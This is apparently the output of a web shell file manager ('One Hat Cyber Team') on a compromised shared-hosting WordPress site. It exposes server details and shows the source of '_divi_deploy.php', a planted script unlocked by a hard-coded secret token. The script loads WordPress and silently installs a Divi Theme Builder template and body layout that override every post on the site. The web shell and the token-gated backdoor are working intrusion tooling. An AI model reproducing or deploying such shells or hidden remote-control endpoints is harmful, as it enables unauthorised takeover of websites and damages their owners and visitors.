⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.48
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sc1voni9410
/
clic-rhonealpes.com
/
View File Name :
_divi_deploy.php
<?php if (($_GET['tk'] ?? '') !== 'NetOS2026X') { http_response_code(403); die('denied'); } define('ABSPATH', dirname(__FILE__) . '/'); if (!file_exists(ABSPATH . 'wp-load.php')) { die(json_encode(['error'=>'wp-load not found'])); } require_once ABSPATH . 'wp-load.php'; header('Content-Type: application/json'); $result = ['domain' => $_SERVER['HTTP_HOST']]; $body_content = '[et_pb_section fb_built="1" _builder_version="4.27.6" _module_preset="default" custom_padding="0px||0px||" global_colors_info="{}"][et_pb_row use_custom_gutter="on" gutter_width="1" _builder_version="4.27.6" _module_preset="default" width="100%" custom_padding="0px||0px||" custom_margin="10px||||false|false" hover_enabled="0" global_colors_info="{}" sticky_enabled="0"][et_pb_column type="4_4" _builder_version="4.27.6" _module_preset="default" global_colors_info="{}"][et_pb_post_content _builder_version="4.27.6" _module_preset="default" global_colors_info="{}"][/et_pb_post_content][/et_pb_column][/et_pb_row][/et_pb_section]'; $tb_posts = get_posts(['post_type'=>'et_theme_builder','posts_per_page'=>1,'post_status'=>'publish']); if (empty($tb_posts)) { $tb_id = wp_insert_post(['post_type'=>'et_theme_builder','post_title'=>'Theme Builder','post_status'=>'publish']); $result['tb_created'] = true; } else { $tb_id = $tb_posts[0]->ID; $result['tb_created'] = false; } $result['tb_id'] = $tb_id; $existing_templates = get_post_meta($tb_id, '_et_template'); foreach ($existing_templates as $tmpl_id) { $use_on = get_post_meta($tmpl_id, '_et_use_on', true); if ($use_on === 'singular:post_type:post:all') { $result['skipped'] = 'All Posts template already exists (template ' . $tmpl_id . ')'; echo json_encode($result); exit; } } $headers = get_posts(['post_type'=>'et_header_layout','posts_per_page'=>1,'post_status'=>'publish']); $header_id = !empty($headers) ? $headers[0]->ID : 0; $header_enabled = $header_id ? 1 : 0; $result['header_id'] = $header_id; $footers = get_posts(['post_type'=>'et_footer_layout','posts_per_page'=>1,'post_status'=>'publish']); $footer_id = !empty($footers) ? $footers[0]->ID : 0; $footer_enabled = $footer_id ? 1 : 0; $result['footer_id'] = $footer_id; $body_id = wp_insert_post(['post_type'=>'et_body_layout','post_title'=>'Custom Body','post_status'=>'publish','post_content'=>$body_content]); if (is_wp_error($body_id)) { $result['error']='body:'.$body_id->get_error_message(); echo json_encode($result); exit; } update_post_meta($body_id,'_et_pb_use_builder','on'); update_post_meta($body_id,'_et_pb_show_page_creation','off'); update_post_meta($body_id,'_et_pb_built_for_post_type','page'); $result['body_id'] = $body_id; $template_id = wp_insert_post(['post_type'=>'et_template','post_title'=>'All Posts','post_status'=>'publish','post_parent'=>$tb_id]); if (is_wp_error($template_id)) { $result['error']='tmpl:'.$template_id->get_error_message(); echo json_encode($result); exit; } update_post_meta($template_id,'_et_default',0); update_post_meta($template_id,'_et_enabled',1); update_post_meta($template_id,'_et_header_layout_id',$header_id); update_post_meta($template_id,'_et_header_layout_enabled',$header_enabled); update_post_meta($template_id,'_et_body_layout_id',$body_id); update_post_meta($template_id,'_et_body_layout_enabled',1); update_post_meta($template_id,'_et_footer_layout_id',$footer_id); update_post_meta($template_id,'_et_footer_layout_enabled',$footer_enabled); update_post_meta($template_id,'_et_use_on','singular:post_type:post:all'); update_post_meta($template_id,'_et_autogenerated_title',1); $result['template_id'] = $template_id; add_post_meta($tb_id,'_et_template',$template_id); $result['ok'] = true; if (function_exists('et_core_clear_wp_cache')) { et_core_clear_wp_cache(); } if (function_exists('et_builder_clear_all_module_caches')) { et_builder_clear_all_module_caches(); } delete_transient('et_theme_builder_template_ids'); echo json_encode($result);